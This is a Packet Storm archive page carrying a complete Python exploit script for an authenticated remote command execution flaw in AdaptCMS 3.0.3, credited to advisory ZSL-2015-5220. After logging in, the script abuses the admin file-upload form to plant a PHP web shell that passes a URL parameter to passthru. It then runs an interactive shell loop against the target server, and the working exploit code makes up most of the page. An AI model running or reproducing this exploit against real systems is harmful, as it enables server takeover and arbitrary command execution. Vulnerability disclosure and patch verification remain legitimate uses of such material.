exploit the possibilities

AdaptCMS 3.0.3 Remote Command Execution

AdaptCMS 3.0.3 Remote Command Execution
Posted Jan 5, 2015
Authored by LiquidWorm | Site zeroscience.mk

AdaptCMS version 3.0.3 suffers from an authenticated arbitrary command execution vulnerability. The issue is caused due to the improper verification of uploaded files. This can be exploited to execute arbitrary PHP code by creating or uploading a malicious PHP script file that will be stored in '\app\webroot\uploads' directory.

tags | exploit, arbitrary, php
MD5 | 5bb4517e735b5743e84a2e836100b332

AdaptCMS 3.0.3 Remote Command Execution

Change Mirror Download
#!/usr/bin/env python
#
#
# AdaptCMS 3.0.3 Remote Command Execution Exploit
#
#
# Vendor: Insane Visions
# Product web page: http://www.adaptcms.com
# Affected version: 3.0.3
#
# Summary: AdaptCMS is a Content Management System trying
# to be both simple and easy to use, as well as very agile
# and extendable. Not only so we can easily create Plugins
# or additions, but so other developers can get involved.
# Using CakePHP we are able to achieve this with a built-in
# plugin system and MVC setup, allowing us to focus on the
# details and end-users to focus on building their website
# to look and feel great.
#
# Desc: AdaptCMS suffers from an authenticated arbitrary
# command execution vulnerability. The issue is caused due
# to the improper verification of uploaded files. This can
# be exploited to execute arbitrary PHP code by creating
# or uploading a malicious PHP script file that will be
# stored in '\app\webroot\uploads' directory.
#
# Tested on: Apache 2.4.10 (Win32)
# PHP 5.6.3
# MySQL 5.6.21
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5220
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2015-5220.php
#
#
# 29.12.2014
#
#


import itertools, mimetools, mimetypes, os
import cookielib, urllib, urllib2, sys, re

from cStringIO import StringIO
from urllib2 import URLError

piton = os.path.basename(sys.argv[0])

def bannerche():
print """
o==========================================o
| |
| AdaptCMS RCE Exploit |
| |
| ID:ZSL-2015-5220 |
| o/ |
+------------------------------------------+
"""
if len(sys.argv) < 3:
print '\x20\x20[*] Usage: '+piton+' <hostname> <pathname>'
print '\x20\x20[*] Example: '+piton+' zeroscience.mk adaptcms\n'
sys.exit()

bannerche()

host = sys.argv[1]
path = sys.argv[2]

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

try:
gettokens = opener.open('http://'+host+'/'+path+'/login')
except urllib2.HTTPError, errorzio:
if errorzio.code == 404:
print 'Path error.'
sys.exit()
except URLError, errorziocvaj:
if errorziocvaj.reason:
print 'Hostname error.'
sys.exit()

print '\x20\x20[*] Login please.'

tokenfields = re.search('fields]" value="(.+?)" id=', gettokens.read()).group(1)
gettokens = opener.open('http://'+host+'/'+path+'/login')
tokenkey = re.search('key]" value="(.+?)" id=', gettokens.read()).group(1)

username = raw_input('\x20\x20[*] Enter username: ')
password = raw_input('\x20\x20[*] Enter password: ')

login_data = urllib.urlencode({
'_method' : 'POST',
'data[User][username]' : username,
'data[User][password]' : password,
'data[_Token][fields]' : '864206fbf949830ca94401a65660278ae7d065b3%3A',
'data[_Token][key]' : tokenkey,
'data[_Token][unlocked]' : ''
})

login = opener.open('http://'+host+'/'+path+'/login', login_data)
auth = login.read()
for session in cj:
sessid = session.name

ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
cookie = ses_chk.group(0)
print '\x20\x20[*] Accessing...'

upload = opener.open('http://'+host+'/'+path+'/admin/files/add')
filetoken = re.search('key]" value="(.+?)" id=', upload.read()).group(1)

class MultiPartForm(object):

def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return

def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):
self.form_fields.append((name, value))
return

def add_file(self, fieldname, filename, fileHandle, mimetype=None):
body = fileHandle.read()
if mimetype is None:
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.files.append((fieldname, filename, mimetype, body))
return

def __str__(self):

parts = []
part_boundary = '--' + self.boundary

parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)

parts.extend(
[ part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' % \
(field_name, filename),
'Content-Type: %s' % content_type,
'',
body,
]
for field_name, filename, content_type, body in self.files
)

flattened = list(itertools.chain(*parts))
flattened.append('--' + self.boundary + '--')
flattened.append('')
return '\r\n'.join(flattened)

if __name__ == '__main__':

form = MultiPartForm()
form.add_field('_method', 'POST')
form.add_field('data[_Token][key]', filetoken)
form.add_field('data[File][type]', 'edit')
form.add_field('data[0][File][filename]', '')
form.add_field('data[0][File][dir]', 'uploads/')
form.add_field('data[0][File][mimetype]', '')
form.add_field('data[0][File][filesize]', '')
form.add_field('data[File][content]', '<?php echo "<pre>"; passthru($_GET[\'cmd\']); echo "</pre>"; ?>')
form.add_field('data[File][file_extension]', 'php')
form.add_field('data[File][file_name]', 'thricer')
form.add_field('data[File][caption]', 'THESHELL')
form.add_field('data[File][dir]', 'uploads/')
form.add_field('data[0][File][caption]', '')
form.add_field('data[0][File][watermark]', '0')
form.add_field('data[0][File][zoom]', 'C')
form.add_field('data[File][resize_width]', '')
form.add_field('data[File][resize_height]', '')
form.add_field('data[0][File][random_filename]', '0')
form.add_field('data[File][library]', '')
form.add_field('data[_Token][fields]', '0e50b5f22866de5e6f3b959ace9768ea7a63ff3c%3A0.File.dir%7C0.File.filesize%7C0.File.mimetype%7CFile.dir')
form.add_file('data[0][File][filename]', 'filename', fileHandle=StringIO(''))

request = urllib2.Request('http://'+host+'/'+path+'/admin/files/add')
request.add_header('User-agent', 'joxypoxy 6.0')
body = str(form)
request.add_header('Content-type', form.get_content_type())
request.add_header('Cookie', cookie)
request.add_header('Content-length', len(body))
request.add_data(body)
request.get_data()
urllib2.urlopen(request).read()

f_loc = '/uploads/thricer.php'
print

while True:
try:
cmd = raw_input('shell@'+host+':~# ')
execute = opener.open('http://'+host+'/'+path+f_loc+'?cmd='+urllib.quote(cmd))
reverse = execute.read()
pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)
cmdout = pattern.match(reverse)
print cmdout.groups()[0].strip()
print
if cmd.strip() == 'exit':
break
except Exception:
break

print 'Session terminated.\n'

sys.exit()
Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    29 Files
  • 21
    Jan 21st
    12 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    17 Files
  • 25
    Jan 25th
    34 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close